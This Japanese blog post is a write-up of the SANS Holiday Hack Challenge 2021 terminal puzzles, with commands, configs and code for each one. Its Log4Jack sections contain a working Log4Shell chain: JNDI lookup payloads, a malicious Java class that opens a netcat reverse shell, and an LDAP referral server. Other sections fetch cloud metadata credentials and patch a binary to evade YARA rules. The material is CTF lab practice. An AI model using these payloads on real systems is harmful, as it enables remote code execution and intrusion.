fatsheep's memo.txt

気になったこと、試したこと、その他もろもろを書いていきます。

Holiday Hack Challenge 2021 Writeup (Terminal)

f:id:fatsheep:20220112231137p:plain

今年も去年末~年明けに開催されたSANS Holiday Hack Challengeに参加しました。今年は何とか期間中に全問正答&レポート提出を果たしました。ランダム賞あたればいいな😊

※まだの方はこちらから参加できます。
https://www.sans.org/mlp/holiday-hack-challenge/

本記事は、Holiday Hack Challenge 2021のTerminalのWriteupです。

※ObjectiveのWriteupはこちら。
fatsheep.hateblo.jp

Exif Metadata

Jackが改ざんしたdocxファイルを見つける問題。ヒントとして、「exiftool」が導入されているとのこと。

f:id:fatsheep:20220112231141p:plain

試しに1つのファイルに対して実行してみる。

f:id:fatsheep:20220112231145p:plain

f:id:fatsheep:20220112231147p:plain

結果の中で、「Creator」と「Last Modified By」が確認できる。

Jackが改ざんしたということなので、全ファイル対してexiftoolを実行し結果をJackでGrepする。

f:id:fatsheep:20220112231150p:plain

1件ヒット。あとは処理対象のファイル名も出力し、Jackが改ざんしたであろうファイルを特定する。

f:id:fatsheep:20220112231152p:plain

Answer: 2021-12-21.docx

Grepping for Gold

nmapした結果からLinuxのコマンドを利用し、出題されるクイズに回答していくという問題。

Q1 - What port does 34.76.1.22 have open?

f:id:fatsheep:20220112231154p:plain

Answer: 62078

Q2 - What port does 34.77.207.226 have open?

f:id:fatsheep:20220112231157p:plain

Answer: 8080

Q3 - How many hosts appear "Up" in the scan?

f:id:fatsheep:20220112231159p:plain

Answer: 26054

Q4 - How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)

f:id:fatsheep:20220112231201p:plain

Answer: 14372

Q5 - How many hosts with status Up have no (detected) open TCP ports?

端末の状態が「Up」の数をカウントし、その中からポートの状態が「open」ではない数を計算。

f:id:fatsheep:20220112231203p:plain

Answer: 402

Q6 - What's the greatest number of TCP ports any one host has open?

whileループを利用し、まずは各行に含まれる「open」の数をカウントする。その後、その結果全体を逆順でソートし最大値を求める。

f:id:fatsheep:20220112231206p:plain

Answer: 12

Logic Munchers

論理式が「True」の部分をすべて選択し消すゲーム。

Javascriptソースコードを確認する。各セルの情報(論理式の問題文、正答判定するための論理値)は「challenges」という2次元配列の変数に格納されている。その変数の内容はゲーム開始時にwebsocketによりサーバから受信している。

f:id:fatsheep:20220112231208p:plain

またゲームクリアの判定は「checkWin」メソッドにより行われており、上記のchallenges変数の中にTrueが1つも存在しなければゲームクリア、という判定が行われる。

f:id:fatsheep:20220112231210p:plain

challenges変数はブラウザの開発者ツールのコンソールで書き換え可能なため、ゲーム開始直後にすべてのセルの論理値をFalseに変え、手動でcheckWinメソッドを呼び出しゲーム終了させればよさそう。

ゲームはフレームを利用し表示されるため、開発者ツール上で対象のフレームを選択しておく。

f:id:fatsheep:20220112231213p:plain

その後、以下のコードを実行し、全セルをFalseに変更→checkWinメソッドを実行する。

for(let i=0;i<6;i++)
    for(let j=0;j<6;j++)
        challenges[j][i]=['false', false]
checkWin()

f:id:fatsheep:20220112231218p:plain

実行した直後に、ステージクリアとなった。

IPv6 Sandbox

別のホストを探し、パスワードを調査する問題。

まずは同じローカルネットワーク内の端末の調査をするため、自PCのIPを確認する。

f:id:fatsheep:20220112231221p:plain

nmapコマンドを利用し、同ネットワーク内にあるホストを調査する。

f:id:fatsheep:20220112231224p:plain

f:id:fatsheep:20220112231226p:plain

いくつか見つかり、IPアドレスが末尾2の端末にcurlでアクセスしてみる。

f:id:fatsheep:20220112231228p:plain

するとIPv6経由でアクセスしないといけないといわれる。

自端末のIPv4アドレスの末尾が3でIPv6アドレスの末尾も3であるため、ターゲット端末のIPv6アドレスも同じ形式だろうとあたりをつけ、curlでアクセスしてみる。

f:id:fatsheep:20220112231231p:plain

アクセスでき表示が変わった。今度は別のポートに接続しパスフレーズを入手せよ、とのこと。上でnmap実行した際は80番ポートしか開いていなかったが、もしかするとIPv6でポートスキャンすると変わるかも?、と考え、今度はIPv6アドレスに対してnmapを実行してみる。

f:id:fatsheep:20220112231233p:plain

9000番ポートが開いていた。今度はこのポートに対してcurlを実行する。

f:id:fatsheep:20220112231236p:plain

パスフレーズが得られた。

f:id:fatsheep:20220112231238p:plain

Answer: PieceOnEarth

HoHo ... No

あるアプリケーションのアクセスログをベースに、指定された条件で自動でアクセスブロックする仕組みをfail2banに設定する問題。

ログは以下のような形式で記録されている。

f:id:fatsheep:20220112231240p:plain

このうち、ログの内容などから不正アクセスアクセスログは以下の4つの書式であった。

<date> <time> <ip> sent a malformed request
<date> <time> Failed login from <ip> for <string>
<date> <time> Invalid heartbeat '<string>' from <ip>
<date> <time> Login from <ip> rejected due to unknown user name

上記のログが接続元IP毎に1時間に10回以上出現した場合は、そのIPを遮断する。遮断に利用するプログラムは「/root/naughtylist」というものである。

まずは不正なログを抽出するためのFilterルールを作成する。不正なログは上記の4つのタイプのログとなるため、Filterルールは以下のように作成した。

# /etc/fail2ban/filter.d/hohono.conf
[Definition]
failregex = <HOST> sent a malformed request$
            Failed login from <HOST> for .*$
            Invalid heartbeat '[^']+' from <HOST>$
            Login from <HOST> rejected due to unknown user name$

次にActionルールを作成する。不正なログを検知した際に動作させるプログラムを指定する。Actionルールは以下のように作成した。

# /etc/fail2ban/action.d/hohono.conf
[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>

最後にJailルールを作成する。これは監視するログファイルや、監視期間とログの出現回数を指定し、FilterルールとActionルールを紐づけfail2banに動作させるための設定。Jailルールは以下のように生成した。

# /etc/fail2ban/jail.d/hohono.conf
[hohono]
enabled  = true
filter   = hohono
action   = hohono
logpath  = /var/log/hohono.log
maxretry = 10
findtime = 3600
backend = auto

設定ファイル作成後に、設定の適用と状態確認を行っておく。

f:id:fatsheep:20220112231242p:plain

正常に設定ファイルが読み込まれた模様。

最後に、ログファイルを更新しfail2banに新たにログを読み込ませる(本タスクの正答を確認させる)ために、以下のコマンドを実行する。

f:id:fatsheep:20220112231245p:plain

正常にプログラムが実行され、システムが守られた旨のメッセージが表示された。

Yara Analysis

プログラムが実行できる状態で改変を行い、指定されたYaraルールを回避するという問題。

カレントディレクトリにある実行ファイルを実行するとYaraルールにヒットしたメッセージが表示される。

f:id:fatsheep:20220112231247p:plain

Yaraファイルには数万個のルールが記載されている。(実行ファイルは編集可能だが、Yaraルールのファイルはパーミッションで修正できないようになっていた。)

f:id:fatsheep:20220112231250p:plain

最初にヒットしたルール135を確認する。

f:id:fatsheep:20220112231253p:plain

バイナリのStringsで「candycane」を検知している模様。

バイナリのバックアップを取り、viで修正する。

f:id:fatsheep:20220112231256p:plain

「candy」を「dandy」に修正した。再度実行する。

f:id:fatsheep:20220112231258p:plain

次はルール1056にヒットしたようなので、Yaraルールを確認すると、「6c 6962~」というバイト列を検知するもの。

f:id:fatsheep:20220112231300p:plain

同様にバックアップを取り、viでバイナリを編集する。

f:id:fatsheep:20220112231303p:plain

ASCII文字列の最後の「!」を「"」に修正し、再度実行する。

f:id:fatsheep:20220112231306p:plain

次はルール1732にヒットした。ルールの内容を確認すると、3つのルールのAndをとっており、1つ目がELFファイルのマジックナンバーの確認、2つ目がファイルサイズが50kb以下、3つ目が文字列チェックで10個以上ヒットする場合、これらすべてに合致するか見ている。

一番簡単そうなファイルサイズを増やす回避手法をとる。バックアップ採取後、ファイルの末尾にヌルバイトを35000バイトを付加しファイルのサイズを増加させる。

f:id:fatsheep:20220112231308p:plain

実行した結果、Yaraルールの検知をかいくぐり、正常に実行させることができた。

f:id:fatsheep:20220112231311p:plain

IMDS Exploration

IMDSの操作方法を習得するチュートリアル問題。基本的に指示に従ってコマンドを打っていく。

打つコマンド群は以下の通り。

ping 169.254.169.254
next
curl http://169.254.169.254
curl http://169.254.169.254/latest
curl http://169.254.169.254/latest/dynamic
curl http://169.254.169.254/latest/dynamic/instance-identity/document
curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq
next
curl http://169.254.169.254/latest/meta-data
curl http://169.254.169.254/latest/meta-data/public-hostname
curl http://169.254.169.254/latest/meta-data/public-hostname ; echo 
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role
next
cat gettoken.sh 
source gettoken.sh 
echo $TOKEN
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region

Elf Code Python

ブラウザ上でゲームを通してPythonプログラミングのトレーニングを行う問題。各問題にはコードの最大行数とメソッド実行数の制限がある。

Level 0 - Elf Code Demo

デモ問題。「Run」を実行するのみ。

Level 1 - Get Moving

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(10)
elf.moveUp(10)

Level 2 - Get moveTo ' ing

import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
lollipop1 = all_lollipops[1]
lollipop0 = all_lollipops[0]
elf.moveTo(lollipop1.position)
elf.moveTo(lollipop0.position)
elf.moveLeft(3)
elf.moveUp(6)

Level 3 - Don't Get Yeeted!

import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
lollipop0 = lollipops.get(0)
elf.moveTo(lever0.position)
lever0.pull(lever0.data() + 2)
elf.moveTo(lollipop0.position)
elf.moveUp(10)

Level 4 - Data Types

import elf, munchkins, levers, lollipops, yeeters, pits
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveLeft(2)
lever4.pull("str")
elf.moveTo(lever3.position)
lever3.pull(True)
elf.moveTo(lever2.position)
lever2.pull(1)
elf.moveTo(lever1.position)
lever1.pull([1,2])
elf.moveTo(lever0.position)
lever0.pull({'a':1})
elf.moveUp(2)

Level 5 - Conversions and Comparisons

import elf, munchkins, levers, lollipops, yeeters, pits, math
lever0, lever1, lever2, lever3, lever4 = levers.get()
elf.moveLeft(2)
lever4.pull(lever4.data() + " concatenate")
elf.moveTo(lever3.position)
lever3.pull(True)
elf.moveTo(lever2.position)
lever2.pull(lever2.data() + 1)
elf.moveTo(lever1.position)
lever1.pull(lever1.data() + [1])
elf.moveTo(lever0.position)
lever0_data = lever0.data()
lever0_data.update({"strkey":"strvalue"})
lever0.pull(lever0_data)
elf.moveUp(2)

Level 6 - Types And Conditionals

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveUp(2)
lever = levers.get(0)
data = lever.data()
print(data)
if type(data) == bool:
    data = not data
elif type(data) == int:
    data = data * 2 
elif type(data) == list:
    for i in range(len(data)):
        data[i] += 1
elif type(data) == str:
    data = data + data
elif type(data) == dict:
    data['a'] += 1
print(data)
lever.pull(data)
elf.moveUp(2)

Level 7 - Up Down Loopiness

import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(3):
    elf.moveLeft(3)
    elf.moveUp(11)
    elf.moveLeft(4)
    elf.moveDown(11)

Level 8 - Two Paths, Your Choice

import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
for lollipop in all_lollipops:
    elf.moveTo(lollipop.position)
lever0 = levers.get(0)
elf.moveTo(lever0.position)
lever0.pull(["munchkins rule"] + lever0.data())
elf.moveDown(3)
elf.moveLeft(6)
elf.moveUp(2)

Level 9 - Yeeter Swirl

import elf, munchkins, levers, lollipops, yeeters, pits

def func_to_pass_to_mucnhkin(list_of_lists):
    sum = 0
    for l1 in list_of_lists:
        for l0 in l1:
            if type(l0) == int:
                sum += l0
    return sum
munchkins.get(0).answer(func_to_pass_to_mucnhkin)

levers = levers.get()
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2

for i, move in enumerate(moves):
    move(i + 1)
    if i < len(levers):
        levers[i].pull(i)

elf.moveUp(2)
elf.moveLeft(4)
elf.moveUp(1)

Level 10 - Munchkin Dodging Finale

import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]

for index, mun in enumerate(muns):
    if index%2 == 0:
        ok_pos = 0
    else:
        ok_pos = 12
    while True:
        if mun.position['x'] == ok_pos:
            break
        time.sleep(0.05)
    elf.moveTo(lols[index].position)

elf.moveLeft(6)
elf.moveUp(2)

Strace Ltrace Retrace

プログラムが正常に動作しないので、それを直すという問題。

カレントディレクトリに実行ファイルがあるので、まずは実行してみる。

f:id:fatsheep:20220112231313p:plain

すると設定ファイルがない、とエラーが表示される。

ヒントとしてltraceコマンドやstraceコマンドを利用する、と与えられているので、ltraceコマンドで実行する。

f:id:fatsheep:20220112231316p:plain

するとfopenコマンドで「registration.json」を読み込もうとしている。

どのような内容にすべきか不明なため、いったん適当なJSON形式の文字列で保存する。その後再度実行してみる。

f:id:fatsheep:20220112231318p:plain

ファイルの読み込みは正常に行え、次の処理に進んだ。

今度はstrstrコマンドでファイルの中身の確認を行っているようで、「Registration」という文字列がないか確認している。JSONのキーにあたる部分を「Registration」に修正し、再度実行してみる。

f:id:fatsheep:20220112231320p:plain

「Registration」と、キー・バリューの区切りの「:」のチェックにパスした。次は「True」という文字列の有無を確認しているため、JSONのバリューの値を「True」に修正し、再度実行してみる。

f:id:fatsheep:20220112231323p:plain

正常に起動できた。

Frostavator

フロストタワーのエレベータに乗ろうとすると電源がなく動作しない模様。パネルを開いてみる。

以下の画像のように、4つの入力に対し画像のような回路で各論理ゲートを通し、すべての電源をオンにした状態にしないといけない模様。論理ゲートは6つ(6種類)あるため、すべての組み合わせは720通りとなる。

f:id:fatsheep:20220112231326p:plain

全種類を試すPythonのコードを作成し、すべての出力がオンになる配置を調査する。コードは以下の通り。

import itertools

def g_and(a, b):
    return a and b

def g_or(a, b):
    return a or b

def g_xor(a, b):
    return a ^ b

def g_nand(a, b):
    return  ~g_and(a, b)

def g_nor(a, b):
    return ~g_or(a, b)

def g_nxor(a, b):
    return ~g_xor(a, b)


input_list = ["0", "1", "0", "1"]
gate_list = ["g_and", "g_or", "g_xor", "g_nand", "g_nor", "g_nxor"]

for t in itertools.permutations(gate_list, 6):
    m1 = eval(t[0] + "(" + input_list[0] + "," + input_list[1] + ")")
    m2 = eval(t[1] + "(" + input_list[1] + "," + input_list[2] + ")")
    m3 = eval(t[2] + "(" + input_list[2] + "," + input_list[3] + ")")

    o1 = eval(t[3] + "(" + str(m1) + "," + str(m2) + ")")
    o2 = eval(t[4] + "(" + str(m1) + "," + str(m3) + ")")
    o3 = eval(t[5] + "(" + str(m2) + "," + str(m3) + ")")

    if o1 + o2 + o3 == 3:
        print(list(t)[0:3])
        print(list(t)[3:6])
        break

結果は以下の通り。

kali@kali:~$ python3 frostavator.py
['g_and', 'g_or', 'g_nor']
['g_xor', 'g_nxor', 'g_nand']

結果の通り論理ゲートのパネルを配置したところ、エレベータの電源が入った。

f:id:fatsheep:20220112231330p:plain

Holiday Hero

CTFに参加しているメンバの2人でプレイできる音ゲー。上から降りてくる音符をタイミングよくキャッチし、80%以上エネルギーをためサンタのソリを動かす、というもの。エルフからは2人でもプレイできるが、1人でもプレイできることを教えられる。

何度か2人でプレイしてみたが、タスククリアにはならなかったため、どうやら1人でプレイしクリアする必要がある模様。

ゲーム画面からは1人プレイで実行、みたいな機能はなかったので、開発者ツールを開き色々見ていたところCookieにそれらしい設定を発見。

f:id:fatsheep:20220112231334p:plain

この設定を「true」に変更する。

f:id:fatsheep:20220112231337p:plain

その後、ゲーム画面のフレームのみ再読み込みし、変更したCookieをサーバ側へ反映させる。

f:id:fatsheep:20220112231339p:plain

ただこの変更のみでは特に動作に変わりはなく、1人プレイができなかった。そこで、JavaScriptで何等か設定(変数)があるのでは、と考え、コンソールで調査してみる。

※ゲーム画面はiframeになっているため、コンソール操作前に対象のフレームを指定しておく。

f:id:fatsheep:20220112231344p:plain

コンソールで試しに「sing」と打ってみたところ、候補にズバリの変数「single_player_mode」を見つけた。

f:id:fatsheep:20220112231347p:plain

デフォルト値は「false」になっていたため、これを「true」に変更する。

f:id:fatsheep:20220112231350p:plain

すると変更した瞬間、「COMPUTER」という名前のユーザがログインしてきた。プレイしてみるとCOMPUTERはすべての音符をキャッチしてくれる模様。

f:id:fatsheep:20220112231355p:plain

ゲームを開始し、80%以上のエネルギーをためた状態でゲーム終了すると、タスククリアとなった。

Bonus! Blue Log4Jack

チュートリアルに従って、Log4jの検知(ソースコードからと、アクセスログから)を行う手法を実践する。実行コマンドは以下の通り。

next
ls
cd vulnerable/
ls
cat DisplayFilev1.java 
javac DisplayFilev1.java
java DisplayFilev1 testfile.txt
java DisplayFilev1 testfile2.txt
next
cat DisplayFilev2.java
next
javac DisplayFilev2.java
java DisplayFilev2 testfile2.txt
next
java DisplayFilev2 '${java:version}'
java DisplayFilev2 '${env:APISECRET}'
next
./startserver.sh
java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'
cd ~/patched
ls
source classpath.sh
javac DisplayFilev2.java
java DisplayFilev2 '${java:version}'
cd
log4j2-scan vulnerable/
log4j2-scan patched/
log4j2-scan /var/www/solr/
next
ls /var/log/www
cat logshell-search.sh 
./logshell-search.sh /var/log/www
./logshell-search.sh /var/log/www |  sed '1!d'
./logshell-search.sh /var/log/www |  sed '2!d'
./logshell-search.sh /var/log/www |  sed '3!d'
next

Bonus! Red Log4Jack

以下のHelpページを参考に、Log4jの攻撃方法を体験する。 https://gist.github.com/joswr1ght/fb361f1f1e58307048aae5c0f38701e4

実行コマンドは以下の通り。

# In the middle terminal
curl http://solrpower.kringlecastle.com:8983/solr/
cd marshalsec
ls
ip a
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.17.0.7:8080/#YuleLogExploit"

# In the bottom terminal
cd web
cat << EOF >> YuleLogExploit.java
public class YuleLogExploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc 172.17.0.7 4444 -e /bin/bash");
        } catch (Exception err) {
            err.printStackTrace();
        }
    }
}
EOF
javac YuleLogExploit.java
ls
curl 'http://solrpower.kringlecastle.com:8983/solr/admin/cores?foo=$\{jndi:ldap://172.17.0.7:1389/YuleLogExploit\}'

# In the upper right terminal
whoami
cat /home/solr/kringle.txt

ObjectivesのWriteupに続く...
fatsheep.hateblo.jp